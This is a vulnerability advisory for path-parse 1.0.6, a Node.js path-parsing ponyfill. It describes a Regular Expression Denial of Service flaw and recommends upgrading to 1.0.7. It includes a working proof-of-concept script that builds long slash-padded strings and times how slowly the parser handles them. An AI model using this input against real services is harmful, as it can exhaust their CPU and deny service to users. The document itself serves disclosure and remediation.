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path-parse@1.0.6 vulnerabilities

Node.js path.parse() ponyfill

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Direct Vulnerabilities

Known vulnerabilities in the path-parse package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

path-parse is a Node.js path.parse() ponyfill

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.

PoC

var pathParse = require('path-parse');
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "/"
    }
    return ret + "◎";
}

for(var i = 1; i <= 5000000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        pathParse(attack_str);
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade path-parse to version 1.0.7 or higher.

<1.0.7
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